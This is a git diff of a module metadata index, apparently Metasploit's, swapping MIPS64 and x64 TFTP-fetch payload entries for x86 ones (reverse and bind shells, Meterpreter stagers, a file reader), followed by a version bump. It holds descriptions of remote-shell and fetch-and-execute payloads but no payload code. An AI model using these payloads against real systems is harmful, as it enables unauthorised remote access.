"payload_cmd/linux/tftp/mips64/meterpreter_reverse_https": { - "name": "TFTP Fetch", - "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_https", + "payload_cmd/linux/tftp/x86/metsvc_bind_tcp": { + "name": "TFTP Fetch, Linux Meterpreter Service, Bind TCP", + "fullname": "payload/cmd/linux/tftp/x86/metsvc_bind_tcp", "aliases": [ ], @@ -179318,11 +183543,9 @@ "author": [ "Brendan Watters", "Spencer McIntyre", - "Adam Cammack ", - "Brent Cook ", - "timwr" + "hdm " ], - "description": "Fetch and execute a MIPS64 payload from a TFTP server.", + "description": "Fetch and execute a x86 payload from a TFTP server.\nStub payload for interacting with a Meterpreter Service", "references": [ ], @@ -179332,10 +183555,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 13:20:59 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/mips64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/mips64/meterpreter_reverse_https", + "ref_name": "cmd/linux/tftp/x86/metsvc_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179344,9 +183567,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/mips64/meterpreter_reverse_tcp": { - "name": "TFTP Fetch", - "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_tcp", + "payload_cmd/linux/tftp/x86/metsvc_reverse_tcp": { + "name": "TFTP Fetch, Linux Meterpreter Service, Reverse TCP Inline", + "fullname": "payload/cmd/linux/tftp/x86/metsvc_reverse_tcp", "aliases": [ ], @@ -179356,11 +183579,9 @@ "author": [ "Brendan Watters", "Spencer McIntyre", - "Adam Cammack ", - "Brent Cook ", - "timwr" + "hdm " ], - "description": "Fetch and execute a MIPS64 payload from a TFTP server.", + "description": "Fetch and execute a x86 payload from a TFTP server.\nStub payload for interacting with a Meterpreter Service", "references": [ ], @@ -179370,10 +183591,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 13:20:59 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/mips64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/mips64/meterpreter_reverse_tcp", + "ref_name": "cmd/linux/tftp/x86/metsvc_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179382,9 +183603,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/exec": { - "name": "TFTP Fetch, Linux Execute Command", - "fullname": "payload/cmd/linux/tftp/x64/exec", + "payload_cmd/linux/tftp/x86/read_file": { + "name": "TFTP Fetch, Linux Read File", + "fullname": "payload/cmd/linux/tftp/x86/read_file", "aliases": [ ], @@ -179393,10 +183614,10 @@ "type": "payload", "author": [ "Brendan Watters", - "ricky", - "Geyslan G. Bem " + "Spencer McIntyre", + "hal" ], - "description": "Fetch and execute an x64 payload from a TFTP server.\nExecute an arbitrary command or just a /bin/sh shell", + "description": "Fetch and execute a x86 payload from a TFTP server.\nRead up to 4096 bytes from the local file system and write it back out to the specified file descriptor", "references": [ ], @@ -179406,10 +183627,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/exec", + "ref_name": "cmd/linux/tftp/x86/read_file", "check": false, "post_auth": false, "default_credential": false, @@ -179418,9 +183639,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/meterpreter/bind_tcp": { - "name": "TFTP Fetch, Bind TCP Stager", - "fullname": "payload/cmd/linux/tftp/x64/meterpreter/bind_tcp", + "payload_cmd/linux/tftp/x86/shell/bind_ipv6_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/shell/bind_ipv6_tcp", "aliases": [ ], @@ -179429,23 +183650,25 @@ "type": "payload", "author": [ "Brendan Watters", - "Brent Cook ", - "ricky" + "Spencer McIntyre", + "skape ", + "kris katterjohn ", + "egypt " ], - "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for a connection", + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)", "references": [ ], - "platform": "Linux,Linux", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/meterpreter/bind_tcp", + "ref_name": "cmd/linux/tftp/x86/shell/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179454,9 +183677,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/meterpreter/reverse_sctp": { - "name": "TFTP Fetch, Reverse SCTP Stager", - "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_sctp", + "payload_cmd/linux/tftp/x86/shell/bind_ipv6_tcp_uuid": { + "name": "TFTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/shell/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -179465,23 +183688,26 @@ "type": "payload", "author": [ "Brendan Watters", - "Brent Cook ", - "RageLtMan " + "Spencer McIntyre", + "skape ", + "kris katterjohn ", + "egypt ", + "OJ Reeves" ], - "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to the attacker", + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", "references": [ ], - "platform": "Linux,Linux", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/meterpreter/reverse_sctp", + "ref_name": "cmd/linux/tftp/x86/shell/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -179490,9 +183716,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/meterpreter/reverse_tcp": { - "name": "TFTP Fetch, Reverse TCP Stager", - "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_tcp", + "payload_cmd/linux/tftp/x86/shell/bind_nonx_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/shell/bind_nonx_tcp", "aliases": [ ], @@ -179501,24 +183727,23 @@ "type": "payload", "author": [ "Brendan Watters", - "Brent Cook ", - "ricky", - "tkmru" + "Spencer McIntyre", + "skape " ], - "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to the attacker", + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection", "references": [ ], - "platform": "Linux,Linux", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/meterpreter/reverse_tcp", + "ref_name": "cmd/linux/tftp/x86/shell/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179527,9 +183752,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/meterpreter_reverse_http": { - "name": "TFTP Fetch", - "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_http", + "payload_cmd/linux/tftp/x86/shell/bind_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/shell/bind_tcp", "aliases": [ ], @@ -179538,11 +183763,11 @@ "type": "payload", "author": [ "Brendan Watters", - "Adam Cammack ", - "Brent Cook ", - "timwr" + "Spencer McIntyre", + "skape ", + "egypt " ], - "description": "Fetch and execute an x64 payload from a TFTP server.", + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection (Linux x86)", "references": [ ], @@ -179552,10 +183777,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/meterpreter_reverse_http", + "ref_name": "cmd/linux/tftp/x86/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179564,9 +183789,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/meterpreter_reverse_https": { - "name": "TFTP Fetch", - "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_https", + "payload_cmd/linux/tftp/x86/shell/bind_tcp_uuid": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/shell/bind_tcp_uuid", "aliases": [ ], @@ -179575,11 +183800,12 @@ "type": "payload", "author": [ "Brendan Watters", - "Adam Cammack ", - "Brent Cook ", - "timwr" + "Spencer McIntyre", + "skape ", + "egypt ", + "OJ Reeves" ], - "description": "Fetch and execute an x64 payload from a TFTP server.", + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)", "references": [ ], @@ -179589,10 +183815,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/meterpreter_reverse_https", + "ref_name": "cmd/linux/tftp/x86/shell/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -179601,9 +183827,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/meterpreter_reverse_tcp": { - "name": "TFTP Fetch", - "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_tcp", + "payload_cmd/linux/tftp/x86/shell/find_tag": { + "name": "TFTP Fetch, Linux Command Shell, Find Tag Stager", + "fullname": "payload/cmd/linux/tftp/x86/shell/find_tag", "aliases": [ ], @@ -179612,11 +183838,10 @@ "type": "payload", "author": [ "Brendan Watters", - "Adam Cammack ", - "Brent Cook ", - "timwr" + "Spencer McIntyre", + "skape " ], - "description": "Fetch and execute an x64 payload from a TFTP server.", + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nUse an established connection", "references": [ ], @@ -179626,10 +183851,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/meterpreter_reverse_tcp", + "ref_name": "cmd/linux/tftp/x86/shell/find_tag", "check": false, "post_auth": false, "default_credential": false, @@ -179638,9 +183863,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/pingback_bind_tcp": { - "name": "TFTP Fetch, Linux x64 Pingback, Bind TCP Inline", - "fullname": "payload/cmd/linux/tftp/x64/pingback_bind_tcp", + "payload_cmd/linux/tftp/x86/shell/reverse_ipv6_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_ipv6_tcp", "aliases": [ ], @@ -179649,9 +183874,11 @@ "type": "payload", "author": [ "Brendan Watters", - "bwatters-r7" + "Spencer McIntyre", + "skape ", + "kris katterjohn " ], - "description": "Fetch and execute an x64 payload from a TFTP server.\nAccept a connection from attacker and report UUID (Linux x64)", + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to attacker over IPv6", "references": [ ], @@ -179661,10 +183888,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/pingback_bind_tcp", + "ref_name": "cmd/linux/tftp/x86/shell/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179673,9 +183900,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/pingback_reverse_tcp": { - "name": "TFTP Fetch, Linux x64 Pingback, Reverse TCP Inline", - "fullname": "payload/cmd/linux/tftp/x64/pingback_reverse_tcp", + "payload_cmd/linux/tftp/x86/shell/reverse_nonx_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_nonx_tcp", "aliases": [ ], @@ -179684,9 +183911,10 @@ "type": "payload", "author": [ "Brendan Watters", - "bwatters-r7" + "Spencer McIntyre", + "skape " ], - "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and report UUID (Linux x64)", + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -179696,10 +183924,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/pingback_reverse_tcp", + "ref_name": "cmd/linux/tftp/x86/shell/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179708,9 +183936,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/shell/bind_tcp": { - "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager", - "fullname": "payload/cmd/linux/tftp/x64/shell/bind_tcp", + "payload_cmd/linux/tftp/x86/shell/reverse_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_tcp", "aliases": [ ], @@ -179719,9 +183947,12 @@ "type": "payload", "author": [ "Brendan Watters", - "ricky" + "Spencer McIntyre", + "skape ", + "egypt ", + "tkmru" ], - "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection", + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -179731,10 +183962,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/shell/bind_tcp", + "ref_name": "cmd/linux/tftp/x86/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179743,9 +183974,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/shell/reverse_sctp": { - "name": "TFTP Fetch, Linux Command Shell, Reverse SCTP Stager", - "fullname": "payload/cmd/linux/tftp/x64/shell/reverse_sctp", + "payload_cmd/linux/tftp/x86/shell/reverse_tcp_uuid": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_tcp_uuid", "aliases": [ ], @@ -179754,10 +183985,12 @@ "type": "payload", "author": [ "Brendan Watters", - "ricky", - "RageLtMan " + "Spencer McIntyre", + "skape ", + "egypt ", + "OJ Reeves" ], - "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -179767,10 +184000,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/shell/reverse_sctp", + "ref_name": "cmd/linux/tftp/x86/shell/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -179779,9 +184012,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/shell/reverse_tcp": { - "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", - "fullname": "payload/cmd/linux/tftp/x64/shell/reverse_tcp", + "payload_cmd/linux/tftp/x86/shell_bind_ipv6_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/tftp/x86/shell_bind_ipv6_tcp", "aliases": [ ], @@ -179790,10 +184023,10 @@ "type": "payload", "author": [ "Brendan Watters", - "ricky", - "tkmru" + "Spencer McIntyre", + "kris katterjohn " ], - "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection over IPv6 and spawn a command shell", "references": [ ], @@ -179803,10 +184036,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/shell/reverse_tcp", + "ref_name": "cmd/linux/tftp/x86/shell_bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179815,9 +184048,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/shell_bind_ipv6_tcp": { - "name": "TFTP Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", - "fullname": "payload/cmd/linux/tftp/x64/shell_bind_ipv6_tcp", + "payload_cmd/linux/tftp/x86/shell_bind_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/linux/tftp/x86/shell_bind_tcp", "aliases": [ ], @@ -179826,9 +184059,10 @@ "type": "payload", "author": [ "Brendan Watters", - "epi " + "Spencer McIntyre", + "Ramon de C Valle " ], - "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for an IPv6 connection and spawn a command shell", + "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection and spawn a command shell", "references": [ ], @@ -179838,10 +184072,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/shell_bind_ipv6_tcp", + "ref_name": "cmd/linux/tftp/x86/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179850,9 +184084,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/shell_bind_tcp": { - "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", - "fullname": "payload/cmd/linux/tftp/x64/shell_bind_tcp", + "payload_cmd/linux/tftp/x86/shell_bind_tcp_random_port": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", + "fullname": "payload/cmd/linux/tftp/x86/shell_bind_tcp_random_port", "aliases": [ ], @@ -179861,11 +184095,14 @@ "type": "payload", "author": [ "Brendan Watters", - "ricky" + "Spencer McIntyre", + "Geyslan G. Bem ", + "Aleh Boitsau " ], - "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for a connection and spawn a command shell", + "description": "Fetch and execute a x86 payload from a TFTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ - + "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port.asm", + "EDB-41631" ], "platform": "Linux", "arch": "cmd", @@ -179873,10 +184110,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/shell_bind_tcp", + "ref_name": "cmd/linux/tftp/x86/shell_bind_tcp_random_port", "check": false, "post_auth": false, "default_credential": false, @@ -179885,9 +184122,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/shell_bind_tcp_random_port": { - "name": "TFTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", - "fullname": "payload/cmd/linux/tftp/x64/shell_bind_tcp_random_port", + "payload_cmd/linux/tftp/x86/shell_find_port": { + "name": "TFTP Fetch, Linux Command Shell, Find Port Inline", + "fullname": "payload/cmd/linux/tftp/x86/shell_find_port", "aliases": [ ], @@ -179896,9 +184133,10 @@ "type": "payload", "author": [ "Brendan Watters", - "Geyslan G. Bem " + "Spencer McIntyre", + "Ramon de C Valle " ], - "description": "Fetch and execute an x64 payload from a TFTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a shell on an established connection", "references": [ ], @@ -179908,10 +184146,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/shell_bind_tcp_random_port", + "ref_name": "cmd/linux/tftp/x86/shell_find_port", "check": false, "post_auth": false, "default_credential": false, @@ -179920,9 +184158,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/shell_find_port": { - "name": "TFTP Fetch, Linux Command Shell, Find Port Inline", - "fullname": "payload/cmd/linux/tftp/x64/shell_find_port", + "payload_cmd/linux/tftp/x86/shell_find_tag": { + "name": "TFTP Fetch, Linux Command Shell, Find Tag Inline", + "fullname": "payload/cmd/linux/tftp/x86/shell_find_tag", "aliases": [ ], @@ -179931,9 +184169,10 @@ "type": "payload", "author": [ "Brendan Watters", - "mak" + "Spencer McIntyre", + "skape " ], - "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a shell on an established connection", + "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a shell on an established connection (proxy/nat safe)", "references": [ ], @@ -179943,10 +184182,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/shell_find_port", + "ref_name": "cmd/linux/tftp/x86/shell_find_tag", "check": false, "post_auth": false, "default_credential": false, @@ -179955,9 +184194,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/shell_reverse_ipv6_tcp": { - "name": "TFTP Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", - "fullname": "payload/cmd/linux/tftp/x64/shell_reverse_ipv6_tcp", + "payload_cmd/linux/tftp/x86/shell_reverse_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/linux/tftp/x86/shell_reverse_tcp", "aliases": [ ], @@ -179966,9 +184205,11 @@ "type": "payload", "author": [ "Brendan Watters", - "epi " + "Spencer McIntyre", + "Ramon de C Valle ", + "joev " ], - "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell over IPv6", + "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to attacker and spawn a command shell", "references": [ ], @@ -179978,10 +184219,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/shell_reverse_ipv6_tcp", + "ref_name": "cmd/linux/tftp/x86/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179990,9 +184231,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/shell_reverse_tcp": { - "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", - "fullname": "payload/cmd/linux/tftp/x64/shell_reverse_tcp", + "payload_cmd/linux/tftp/x86/shell_reverse_tcp_ipv6": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/tftp/x86/shell_reverse_tcp_ipv6", "aliases": [ ], @@ -180001,9 +184242,10 @@ "type": "payload", "author": [ "Brendan Watters", - "ricky" + "Spencer McIntyre", + "Matteo Malvica " ], - "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell", + "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to attacker and spawn a command shell over IPv6", "references": [ ], @@ -180013,10 +184255,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/shell_reverse_tcp", + "ref_name": "cmd/linux/tftp/x86/shell_reverse_tcp_ipv6", "check": false, "post_auth": false, "default_credential": false, From ea34db64afb36435d0104fee059398647fd4f017 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 15 Jun 2023 12:15:30 -0500 Subject: [PATCH 414/415] Bump version of framework to 6.3.22 --- Gemfile.lock | 2 +- LICENSE_GEMS | 84 ++++++++++++++--------------- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 44 insertions(+), 44 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index d180dd0af59dc..bc9717257462b 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.3.21) + metasploit-framework (6.3.22) actionpack (~> 7.0) activerecord (~> 7.0) activesupport (~> 7.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 48d34c298263f..35489362ebfcc 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -1,22 +1,22 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh Ascii85, 1.1.0, MIT -actionpack, 7.0.4.3, MIT -actionview, 7.0.4.3, MIT -activemodel, 7.0.4.3, MIT -activerecord, 7.0.4.3, MIT -activesupport, 7.0.4.3, MIT +actionpack, 7.0.5, MIT +actionview, 7.0.5, MIT +activemodel, 7.0.5, MIT +activerecord, 7.0.5, MIT +activesupport, 7.0.5, MIT addressable, 2.8.4, "Apache 2.0" afm, 0.2.2, MIT arel-helpers, 2.14.0, MIT ast, 2.4.2, MIT aws-eventstream, 1.2.0, "Apache 2.0" -aws-partitions, 1.749.0, "Apache 2.0" -aws-sdk-core, 3.171.0, "Apache 2.0" -aws-sdk-ec2, 1.375.0, "Apache 2.0" -aws-sdk-iam, 1.77.0, "Apache 2.0" -aws-sdk-kms, 1.63.0, "Apache 2.0" -aws-sdk-s3, 1.120.1, "Apache 2.0" -aws-sdk-ssm, 1.146.0, "Apache 2.0" +aws-partitions, 1.776.0, "Apache 2.0" +aws-sdk-core, 3.174.0, "Apache 2.0" +aws-sdk-ec2, 1.382.0, "Apache 